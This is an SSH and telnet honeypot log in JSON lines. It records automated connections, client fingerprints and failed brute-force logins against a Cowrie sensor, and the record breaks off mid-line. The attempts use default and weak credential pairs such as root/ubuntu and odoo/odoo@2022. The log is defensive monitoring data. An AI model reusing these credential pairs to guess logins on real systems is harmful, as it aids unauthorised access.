{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:58.474471Z","src_ip":"117.121.214.50","session":"2beb6e109e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:58.715117Z","src_ip":"117.121.214.50","session":"2beb6e109e83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo@2022","message":"login attempt [odoo/odoo@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:47:59.710518Z","src_ip":"117.121.214.50","session":"2beb6e109e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:00.953162Z","src_ip":"117.121.214.50","session":"2beb6e109e83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":48324,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbd24968d203","protocol":"ssh","message":"New connection: 91.92.42.133:48324 (159.203.135.109:22) [session: cbd24968d203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:02.383481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:02.457210Z","src_ip":"91.92.42.133","session":"cbd24968d203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:02.565236Z","src_ip":"91.92.42.133","session":"cbd24968d203","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:03.210232Z","src_ip":"91.92.42.133","session":"cbd24968d203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:04.656667Z","src_ip":"91.92.42.133","session":"cbd24968d203","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34158,"dst_ip":"159.203.135.109","dst_port":22,"session":"5354c29a27e0","protocol":"ssh","message":"New connection: 91.92.42.133:34158 (159.203.135.109:22) [session: 5354c29a27e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:09.358889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:09.543551Z","src_ip":"91.92.42.133","session":"5354c29a27e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:09.546815Z","src_ip":"91.92.42.133","session":"5354c29a27e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:11.205746Z","src_ip":"91.92.42.133","session":"5354c29a27e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:12.674515Z","src_ip":"91.92.42.133","session":"5354c29a27e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38102,"dst_ip":"159.203.135.109","dst_port":22,"session":"d49f60a0b085","protocol":"ssh","message":"New connection: 91.92.42.133:38102 (159.203.135.109:22) [session: d49f60a0b085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:15.626691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:16.234380Z","src_ip":"91.92.42.133","session":"d49f60a0b085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:16.237518Z","src_ip":"91.92.42.133","session":"d49f60a0b085","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:17.914766Z","src_ip":"91.92.42.133","session":"d49f60a0b085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:19.284419Z","src_ip":"91.92.42.133","session":"d49f60a0b085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38176,"dst_ip":"159.203.135.109","dst_port":22,"session":"473faeb26849","protocol":"ssh","message":"New connection: 91.92.42.133:38176 (159.203.135.109:22) [session: 473faeb26849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:23.134516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:23.581415Z","src_ip":"91.92.42.133","session":"473faeb26849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:23.587426Z","src_ip":"91.92.42.133","session":"473faeb26849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:24.941089Z","src_ip":"91.92.42.133","session":"473faeb26849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.865280866622925,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:25.754622Z","src_ip":"172.81.62.90","session":"6eacc36c9bb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:26.269566Z","src_ip":"91.92.42.133","session":"473faeb26849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":43407,"dst_ip":"159.203.135.109","dst_port":22,"session":"845825aa9c01","protocol":"ssh","message":"New connection: 112.216.108.62:43407 (159.203.135.109:22) [session: 845825aa9c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:28.305444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:28.310433Z","src_ip":"112.216.108.62","session":"845825aa9c01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:28.511232Z","src_ip":"112.216.108.62","session":"845825aa9c01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"abc123","message":"login attempt [username/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:29.347016Z","src_ip":"112.216.108.62","session":"845825aa9c01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60734,"dst_ip":"159.203.135.109","dst_port":22,"session":"40b6129a801d","protocol":"ssh","message":"New connection: 91.92.42.133:60734 (159.203.135.109:22) [session: 40b6129a801d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:30.283077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:30.486603Z","src_ip":"91.92.42.133","session":"40b6129a801d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:30.493702Z","src_ip":"91.92.42.133","session":"40b6129a801d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:30.550758Z","src_ip":"112.216.108.62","session":"845825aa9c01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:32.108252Z","src_ip":"91.92.42.133","session":"40b6129a801d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:33.316100Z","src_ip":"91.92.42.133","session":"40b6129a801d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58332,"dst_ip":"159.203.135.109","dst_port":22,"session":"6afc72cfb3b8","protocol":"ssh","message":"New connection: 91.92.42.133:58332 (159.203.135.109:22) [session: 6afc72cfb3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:37.431763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:37.518002Z","src_ip":"91.92.42.133","session":"6afc72cfb3b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:37.521641Z","src_ip":"91.92.42.133","session":"6afc72cfb3b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"1234","message":"login attempt [rocky/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:38.770341Z","src_ip":"91.92.42.133","session":"6afc72cfb3b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":55732,"dst_ip":"10.17.0.5","dst_port":22,"session":"2273748fe98c","protocol":"ssh","message":"New connection: 45.140.193.156:55732 (10.17.0.5:22) [session: 2273748fe98c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:38.918291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:48:38.925031Z","src_ip":"45.140.193.156","session":"2273748fe98c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 